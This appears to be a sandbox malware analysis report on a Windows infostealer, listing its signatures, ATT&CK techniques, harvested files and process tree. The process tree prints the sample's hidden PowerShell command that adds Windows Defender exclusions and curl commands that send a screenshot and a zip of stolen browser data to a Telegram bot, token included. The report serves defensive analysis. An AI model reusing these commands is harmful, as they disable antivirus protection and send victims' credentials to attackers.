1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a

Analysis

max time kernel
148s
max time network
126s
platform
windows11-ltsc_2024_x64
resource
win11ltsc2024-20260911-en
resource tags

arch:x64arch:x86image:win11ltsc2024-20260911-enlocale:en-usos:windows11-ltsc_2024-x64systemwindows
submitted
20/10/2026, 11:01

Sharing

Copy URL Twitter E-mail

Report Analysis Logs

General

Target
1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Size 667KB
Sample261020-m4tbgabb65
SHA256 1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a
MD5 32a0fa3bf84b910008bab031e701d22e
SHA1 a052837ebf7f83d6e082ada269005e24516113e4
SHA512 bacb34c5c853a77c5e5e675feb72082c9978500523d4d1f0643356ee692aabd25950e62fe348282ab888e727f4a351253a9b4c0bc8887e2d96cc1a0175f13fe1
SSDEEP 12288:KVypOowJljFPsABVdqBJRBYsXgrAxnqJQxqQ4JyOTWMo4xI6ZhYk0mbcYK80DCOs:4XljFPsCV4BYswrAxBcQ4J9TWQb0PDCF
TLSH
T198E43B269B9C017DD1B6D1BACF0B5823D6B238491331BAEB57C15E522E0F694A73BF10
MD5 SHA1 SHA512 SSDEEP TLSH

Score

8^/10

discovery execution spyware stealer

Malware Config

Signatures

Command and Scripting Interpreter: PowerShell 1 TTPs 2 IoCs

Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

execution

PowerShell

T1059.001

pid	Process
3684	powershell.exe
3684	powershell.exe

Reads WinSCP keys stored on the system 2 TTPs
Tries to access WinSCP stored sessions.
spyware stealer

Data from Local System
T1005

Credentials in Registry
T1552.002
Reads user/profile data of web browsers 3 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials In Files
T1552.001

Credentials from Web Browsers
T1555.003
Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops desktop.ini file(s) 8 IoCs

description	ioc	Process
File opened for modification	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Desktop\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Documents\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Downloads\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File opened for modification	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\OneDrive\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File created	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Desktop\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File created	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Documents\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File created	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\Downloads\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
File created	C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\FileGrabber\OneDrive\desktop.ini	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe

Looks up external IP address via web service 1 TTPs 2 IoCs

Uses a legitimate IP lookup service to find the infected system's external IP.

discovery

Internet Connection Discovery

T1016.001

flow	ioc
1	api.ipify.org
6	api.ipify.org

Browser Information Discovery 1 TTPs
Enumerate browser information.
discovery

Browser Information Discovery
T1217

Reads the TCP/IP host and domain name from the registry 1 TTPs 2 IoCs

The configured hostname and DNS domain identify the machine and are commonly collected to profile a host before it reports in.

discovery

System Network Configuration Discovery

T1016

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Hostname	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key value queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Services\Tcpip\Parameters\Domain	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe

Checks processor information in registry 2 TTPs 2 IoCs

Processor information is often read in order to detect sandboxing environments.

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0\ProcessorNameString	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe

Enumerates system info in registry 2 TTPs 5 IoCs

Query Registry

T1012

System Information Discovery

T1082

description	ioc	Process
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardProduct	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSVendor	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BIOSReleaseDate	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key opened	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
Key value queried	\REGISTRY\MACHINE\HARDWARE\DESCRIPTION\System\BIOS\BaseBoardManufacturer	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe

Suspicious behavior: EnumeratesProcesses 4 IoCs

pid	Process
3684	powershell.exe
3684	powershell.exe
4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe

Suspicious use of AdjustPrivilegeToken 22 IoCs

description	pid	Process
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeIncreaseQuotaPrivilege	3684	powershell.exe
Token: SeSecurityPrivilege	3684	powershell.exe
Token: SeTakeOwnershipPrivilege	3684	powershell.exe
Token: SeLoadDriverPrivilege	3684	powershell.exe
Token: SeSystemProfilePrivilege	3684	powershell.exe
Token: SeSystemtimePrivilege	3684	powershell.exe
Token: SeProfSingleProcessPrivilege	3684	powershell.exe
Token: SeIncBasePriorityPrivilege	3684	powershell.exe
Token: SeCreatePagefilePrivilege	3684	powershell.exe
Token: SeBackupPrivilege	3684	powershell.exe
Token: SeRestorePrivilege	3684	powershell.exe
Token: SeShutdownPrivilege	3684	powershell.exe
Token: SeDebugPrivilege	3684	powershell.exe
Token: SeSystemEnvironmentPrivilege	3684	powershell.exe
Token: SeRemoteShutdownPrivilege	3684	powershell.exe
Token: SeUndockPrivilege	3684	powershell.exe
Token: SeManageVolumePrivilege	3684	powershell.exe
Token: 33	3684	powershell.exe
Token: 34	3684	powershell.exe
Token: 35	3684	powershell.exe
Token: 36	3684	powershell.exe

Suspicious use of WriteProcessMemory 8 IoCs

description	pid	Process	procid_target
PID 4748 wrote to memory of 3684	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	89
PID 4748 wrote to memory of 1824	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	92
PID 4748 wrote to memory of 1824	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	92
PID 4748 wrote to memory of 1824	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	92
PID 4748 wrote to memory of 568	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	96
PID 4748 wrote to memory of 5928	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	98
PID 4748 wrote to memory of 3140	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	100
PID 4748 wrote to memory of 3416	4748	1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe	102

cURL User-Agent 2 IoCs

Uses User-Agent string associated with cURL utility.

description	flow	ioc
HTTP User-Agent header	12	curl/8.8.0
HTTP User-Agent header	13	curl/8.8.0

C:\Users\Admin\AppData\Local\Temp\1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe
"C:\Users\Admin\AppData\Local\Temp\1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe"
1⤵
- Drops desktop.ini file(s)
- Reads the TCP/IP host and domain name from the registry
- Checks processor information in registry
- Enumerates system info in registry
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of WriteProcessMemory
PID:4748
- C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
  powershell.exe -ExecutionPolicy Bypass -WindowStyle Hidden -Command "Add-MpPreference -ExclusionPath @('C:\Users\Admin\AppData\Local\Temp\1de76c8ad30452f031d7d5d0705186c9a1046c19eca1831a6d647d3fa778696a.exe', 'C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748') -ErrorAction SilentlyContinue"
  2⤵
  - Command and Scripting Interpreter: PowerShell
  - Suspicious behavior: EnumeratesProcesses
  - Suspicious use of AdjustPrivilegeToken
  PID:3684
- C:\Program Files\Google\Chrome\Application\chrome.exe
  "C:\Program Files\Google\Chrome\Application\chrome.exe"
  2⤵
  PID:1824
- C:\Windows\SYSTEM32\tar.exe
  tar.exe -a -c -f "C:\Users\Admin\AppData\Local\Temp\~sys_240737484_4748.zip" *
  2⤵
  PID:568
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -k -X POST "https://api.telegram.org/bot8919186852:AAEjTtp7vwrqRVtKiiHSVe2vCXiqQJX8sDc/sendPhoto" -F "chat_id=8980143221" -F "caption=Desktop Screenshot" -F "photo=@\"C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\screenshot.jpg\""
  2⤵
  PID:5928
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -k -X POST "https://api.telegram.org/bot8919186852:AAEjTtp7vwrqRVtKiiHSVe2vCXiqQJX8sDc/sendDocument" -F "chat_id=8980143221" -F "caption=ChickenLogs.zip" -F "document=@\"C:\Users\Admin\AppData\Local\Temp\~sys_240737484_4748.zip\""
  2⤵
  PID:3140
- C:\Windows\SYSTEM32\curl.exe
  curl.exe -s -k -X POST "http://127.0.0.1:8080/gate" -F "file=@\"C:\Users\Admin\AppData\Local\Temp\~sys_240737484_4748.zip\""
  2⤵
  PID:3416

Network

MITRE ATT&CK Enterprise v16

Reconnaissance

Resource Development

Initial Access

Execution

Command and Scripting Interpreter

T1059

PowerShell

T1059.001

Persistence

Privilege Escalation

Defense Evasion

Credential Access

Credentials from Password Stores

T1555

Credentials from Web Browsers

T1555.003

Unsecured Credentials

T1552

Credentials In Files

T1552.001

Credentials in Registry

T1552.002

Discovery

Browser Information Discovery

T1217

Query Registry

T1012

System Information Discovery

T1082

System Network Configuration Discovery

T1016

Internet Connection Discovery

T1016.001

Lateral Movement

Collection

Data from Local System

T1005

Command and Control

Exfiltration

Impact

Replay Monitor

Loading Replay Monitor...

Downloads

__PSScriptPolicyTest_lf0plhbg.k1s.psm1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_lf0plhbg.k1s.psm1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
TLSH
T177A02228CC303B200020C0080A000002C00B800C080C8C0220000A00B20B820002F080
MD5 SHA1 SHA512 TLSH

Submit Download

cs_db_12419035841047700438.tmp

Path C:\Users\Admin\AppData\Local\Temp\cs_db_12419035841047700438.tmp
Size 138KB
SHA256 cd7f4339fb75d02a3741aea98d0a15d5e1490e93bc547abef97df3acabbb293e
MD5 ebc75d13ec86b4af2feb1870ac1f170b
SHA1 025925dcc01343a4d2529535fbe0986773e0448f
SHA512 fb67eb0c17e27ecc4edfdd42be996e14259381cc8e4d3b9c6aa29512f27716bf5801940d2c60ef3039f289d0b7d612dc2e61661eceebe2eb37214402d08e088e
SSDEEP 192:9B+XuvBnl3JsueMEGvIW1/rcP2OrnpX6MCHVfqgVumBwkn8in:zeuvBnhJsueMEGvIW1DcP2OrBmVumBnF
TLSH
T1FDD3874B3A743102DDE58A726CF050BB5E3CB16D8F55A1D428B620688EF2953A23D4FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cs_db_1542600053715399628.tmp

Path C:\Users\Admin\AppData\Local\Temp\cs_db_1542600053715399628.tmp
Size 256KB
SHA256 b0c72944fc5bd02ac464a83ac972277e38d0dbc674f2a634c0d432bf882ef89a
MD5 b9ac2e3133012e6df701783726dd2e73
SHA1 2027d37725c5f18085038027fb7ccb6fc6568a24
SHA512 6fa34bb32da7171c554d4b3b2988e25598427f3f485632cbbecb12a545909563b01ec12a1393d4c3307652eaee787977a88538c639221a43d46d1e49411adc04
SSDEEP 384:K8NTRZyCSDnxTICYMEhIKyll7svbFKfk7:KoNZJSDniwyI1l7svbF9
TLSH
T16544640A7B747001EDE2D9725CB080771E3C616E8F26E6816DB654694EB3853A23D8FF
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cs_db_7491405336996030765.tmp

Path C:\Users\Admin\AppData\Local\Temp\cs_db_7491405336996030765.tmp
Size 224KB
SHA256 f1c1f6090b5a58c6321035a626b70e4e22ba88b664222cf8728c4c61a9ebb08f
MD5 88082c14404fb6b9e99530ec2611d1b9
SHA1 f4da6ccd642fa281edf92582440d97e28f75216b
SHA512 9910eb305f4a67fab3340d63575b21b94d32ca405d819a8f3d543160d9d05fd71ae5298f8d35f2781bac485f400c1063e5fed93f549dbd397f55cc821c538241
SSDEEP 96:bXTFtejzH+bF+UIYysX0fxQp97oEHt/DfLjLqL/9bbEOVpZf24JkMfXSFR+CFqrn:b2H+bF+UI3iWGVoWN3qL/9VVV63
TLSH
T19E24EF4E5F343722CDBD913668E644A35C7CF03F8B5366DA686114B4CEE2652A02C8BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

cs_db_9255245507689280916.tmp

Path C:\Users\Admin\AppData\Local\Temp\cs_db_9255245507689280916.tmp
Size 160KB
SHA256 9091ac11406f559b228639a023f638aa4461083cf4151878f781b85acde0e2ba
MD5 ea2f1147ca310fa5d8e3dc3cca218f60
SHA1 fd7e6239dac6d57876fc8536feb7bbf2307b0bc1
SHA512 7427e2055015af3721dfaa2f3e16dd12b158dfa3ea8c75130bd66a6610b657d51a5d7fad8c1f2e27e79ba05bdfef1e961171611c2668759bc09dd79cb97cbc9b
SSDEEP 96:JY/uejzH+bF+UIYysX0fxQp97YEHt/DfLcLq2piRk/E0:JY/tH+bF+UI3iWGVYWNkqp3
TLSH
T14AF30A1E5F243312CDBD92366CE745B3597CF03F8B632A856CA514B1CEE2652A02C4BE
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

~sys_240737484_4748.zip

Path C:\Users\Admin\AppData\Local\Temp\~sys_240737484_4748.zip
Size 3.8MB
SHA256 8f83150d600712e70783b31b0bff30c3d0f355dbda5fc787c5d43b66b92a0aef
MD5 3fd66378c0358ddbcff5f5ccdf1223dd
SHA1 3783593cbc08d179f4c5d66001e461039701dc54
SHA512 c72c90e781dd184180ee590f8a6763961fd028c04aa7d9bea88a779e4a7a3ad774fac506c012a07838f3346139c1845e4a4abc11b4a32b35b0eb3c07fd5192f4
SSDEEP 98304:X0goLvue6s0vxPAasRKHX9onWcPRCIo9b3+EZgsdupyzR0N6:DqSs0NAaNon9R7Ub3+E2vcf
TLSH
T1A50633C185614B90C245EFB304F2469BBAF443586C216749AEF13B217D61BBC3AB19FB
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

Autofills.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Autofills\Autofills.txt
Size 698B
SHA256 46044a3b0cbc73f2f763418a208cf20b45ef425033ff680219284d21c29120d4
MD5 a9eb1f5b660aa4491fe6abe97352eb08
SHA1 f2f3d599ec5dfcbb91d335acae9c69935fa2997d
SHA512 c8da117a01fedf05b7cd3684192ae7f70c838b5f3df9c4db26cac238b45871b14cac9aa1668104d6a040f11df0f28fb23c9e9808b5e60e451aa11baf6d5a7348
MD5 SHA1 SHA512

Submit Download

Cookies.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Browsers\Chrome\Cookies.txt
Size 118B
SHA256 ec5b0bcc95d398ee21aba31d122488d0acfd21b586b1ea7ccd1810d48074d4e2
MD5 92386d358d471831b9ecb02f02d730db
SHA1 cff183f33d1faa98ff3865e4cd1fedc80a2e3037
SHA512 c1a6a76177e633622cdb94f946d628339ea2077c6468c599fa4e04fb6362c1ce74bb8be4dd9a4c98784950df738e0af6715996618d630bea9bdfe26fa5b787d0
TLSH
T1CBB0922E108692A902A88982B341567893498C8C53E89AA2A025A92AE19C58568E869B
MD5 SHA1 SHA512 TLSH

Submit Download

Extensions.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Browsers\Chrome\Extensions.txt
Size 480B
SHA256 8df5a1e2c4ac5800e9b2003fcf08d9d459ac658d8d0d3f9754df5b056e2fd0f4
MD5 1f1d69d966012ec1824d2a32a9864e59
SHA1 76cb113bd94ca03d58ce613467a58bf2ab1b9ece
SHA512 413742b776aac84dfc389c6ced13f87d637ae83a492e1eaee0378b349126f034275a284bb2e8d41b57ed70816c61db10ee34ce19953383863c66b5b1462876f8
TLSH
T1A9F0528C050E0A8281B4482ACFFD230B1924DD983F32288307EF0E182A3826E40DDCC2
MD5 SHA1 SHA512 TLSH

Submit Download

Extensions.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Browsers\Edge\Extensions.txt
Size 800B
SHA256 635f0d083800aeb1bc6e4e3c17d10facaab3a8b81eb7bc61dea758aacad7ea95
MD5 5e5b2f0125389e70d3ddb3c3bb2be672
SHA1 5dbf44172a5cf5f7903c79f0e4e5dc25b069b11b
SHA512 ccc4c4309c428ee40c453cf5d5c718954efd1fbd9a7aa4b47c54722811219581c108e4fe853b1011f1626a6736fc27e140417db5daf7f8661734ed7e43ee22b5
TLSH
T1B0016B59A50A0751E6F9941ACFEC17278970CDE8763BA48326EB0F08423693FE4CA4A1
MD5 SHA1 SHA512 TLSH

Submit Download

History.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Browsers\Edge\History.txt
Size 72B
SHA256 02affb4c3e088a2982cca726633c11b992fa11a05e5992b19ccff5bfc5311c6a
MD5 bd670390971527e473f3c7bdf3102a9a
SHA1 370047da5281bc601a67810d6978f96cb0b5b0ae
SHA512 9cfa099e94f0ce6d211f3db7f2136225a2b8256afbb6cb535f213a67260d375685ec18a1778bd435841d994b234fa2d95ebb7cb81c72b494f28e00786fc76ede
TLSH
T1F2A0220CE22A80CE030C0A303B8B82082C2CF00E0B882003BCC20C80F808B3F02C0CFB
MD5 SHA1 SHA512 TLSH

Submit Download

History.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Browsers\Firefox\History.txt
Size 346B
SHA256 a6fc2dc236ab1c951d5b334367a420eb9a0f80f78502be762011aaf0847652a7
MD5 b0b6937d14635f2234e799ef342d89f1
SHA1 1932bceedad02d89762ddc89ee6625927e212ec8
SHA512 b28013d5e77f3ad1e7bcd995b2e90189e9086c2aeed7688a629ab37d3e0e2615358cc6f526e13ee17137934f798095b84ee325b9b3a036bd9cabca0038e29734
TLSH
T1FEE02077D26B01994B048B5873167709748FD30C4DE5A487F847353044EA36C00D494E
MD5 SHA1 SHA512 TLSH

Submit Download

Information.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Information.txt
Size 7KB
SHA256 0ecb52f192309bbc966b3022816c154faa295fce2031edfb640d4fde43d1eae7
MD5 a91cda18c64e6d18ed28169746643e4e
SHA1 00fbad8d339daa33a1d9dbb158ed775592f9d945
SHA512 52ec5b45c95d6a95da554349c2eb657dd1626f69a1750451ced0cc02db4189f51567cc161ab8313f0a697cff692bf5b47b3ad95621f962d281eebc6a14f2e034
SSDEEP 48:71HzHTHxJMSMUHJazBHzsRJFdM5H200VHuoSNidgukMwSvf94C1:lzHTHxSBHzso5HH0VHPhdgOpf94A
TLSH
T156E102134826B595D090F796039C6FA03A8022EEF2E02F97B5C634D4394F59576DBF58
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

InstalledSoftware.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\InstalledSoftware.txt
Size 2KB
SHA256 1792ad4ba818c688f1aa8401a3331398d667f4626725c126d60086b925ae8ab8
MD5 c95c3dc8aee1cff29f25df818a2dd58d
SHA1 0d81e46722902ea5c044f3258a3578f0f8b23843
SHA512 3d80b5d70479dff57b8f696cd42613ab50369067263eaedaf6392ba4010c0253c3517c67c1e128728295a6909ff269c823423365483016f9eca5fdfc622ee9d1
TLSH
T152518B4E8C49A2458834B6C674A2AD1C7A8E5787BBD09EF535DC019DC30FBC7D4BC591
MD5 SHA1 SHA512 TLSH

Submit Download

ProcessList.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\ProcessList.txt
Size 1KB
SHA256 330b05c2bfb8e9b5afc0d34a048a4c160ee48e3a4cb346c7e5c3e55d298d62ef
MD5 fc269d58900f2c546fcbad379ebf9f5d
SHA1 782310c6a0cce3d1fd5c91258c83676d21c83bec
SHA512 6d11dc93d8830899d9bee07235503f0447bda46efde324920b95f1e29ebf788c7c4f239be127484e1c582e21f3a28deca5c15eefc694203c3d763a699e32bc0e
TLSH
T13F41F498E446C8804C2220E6172361DBB7476602C165BCEF372FCA7CB3425ADE3D3392
MD5 SHA1 SHA512 TLSH

Submit Download

ProductKey.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\ProductKey.txt
Size 37B
SHA256 dcede8a234a251832ba8d1b79efbc3f4274c46b8ea7c12730b3622a99773b34d
MD5 259ec986b979cc3c3e40ec3e0bbe76e9
SHA1 4dbe6536ae616ab9d3ead849e7590b0eec43b540
SHA512 154b7c25814db625872b177a3b2f140afefdbf337ac78a0eee71753366b8b4862e0356cd0f0334326f76a9edfa56b5d7af5f22774d99d00c4a3f51bbacc83e26
MD5 SHA1 SHA512

Submit Download

Summary.txt

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\Summary.txt
Size 605B
SHA256 eb97249999cef45ba91aeea9ee3b98b6cf234a39d266dd36f2a7055f42ce8079
MD5 d97c8a92f4a7d431de6540e17bd62631
SHA1 6cf5596c6ad0aabb28cc497ada7f4a25f334922c
SHA512 9679dadb0bd79764d1513bce5495e579c943a32fb91e1b237b4de18bc9cf79d680c677eebde2134da60bdabca9b66f7c8ec9e3f4ee14bc41c47e457c3ecf256d
TLSH
T102F06DD1B11701106B2C67E66913B22F87C51603CB1F18F13F0C65FDE7275C94681087
MD5 SHA1 SHA512 TLSH

Submit Download

screenshot.jpg

Path C:\Users\Admin\AppData\Local\Temp\~tmp_240732031_4748\screenshot.jpg
Size 121KB
SHA256 d8d492b5908291613a95f177d323b248dcebc2b128cfa1e03c1c7ad63f9e6547
MD5 3c28b23a356731470222d7f193377793
SHA1 9097d03956713727b4790334953ac6b4193d7fe9
SHA512 7da744b85bb69855f9f4dc6421e2b7df9996361cddd0742059ce14039753959019f3bc033ec7effbf5857fdd947dce8d2601d41ea72d728ace26ca5be61592da
SSDEEP 3072:/WQdGFo9MP9UBa2IJVPs1MnhoNkpROANX:wSMPSM1s1hkuAZ
TLSH
T1DAC3C8539C489B87547887E87E070FAD2B5A7F0C989236FF41225DCB3E706621D9E06E
MD5 SHA1 SHA512 SSDEEP TLSH

Submit Download

memory/3684-13-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-12-0x000001D857BC0000-0x000001D857C72000-memory.dmp

Download

memory/3684-18-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-14-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-15-0x000001D83F480000-0x000001D83F48A000-memory.dmp

Download

memory/3684-16-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-0-0x00007FFB88ACF000-0x00007FFB88AD0000-memory.dmp

Download

memory/3684-11-0x000001D857850000-0x000001D85786E000-memory.dmp

Download

memory/3684-8-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-7-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-6-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-5-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-4-0x00007FFB88940000-0x00007FFB892E4000-memory.dmp

Download

memory/3684-3-0x000001D8577E0000-0x000001D857802000-memory.dmp

Download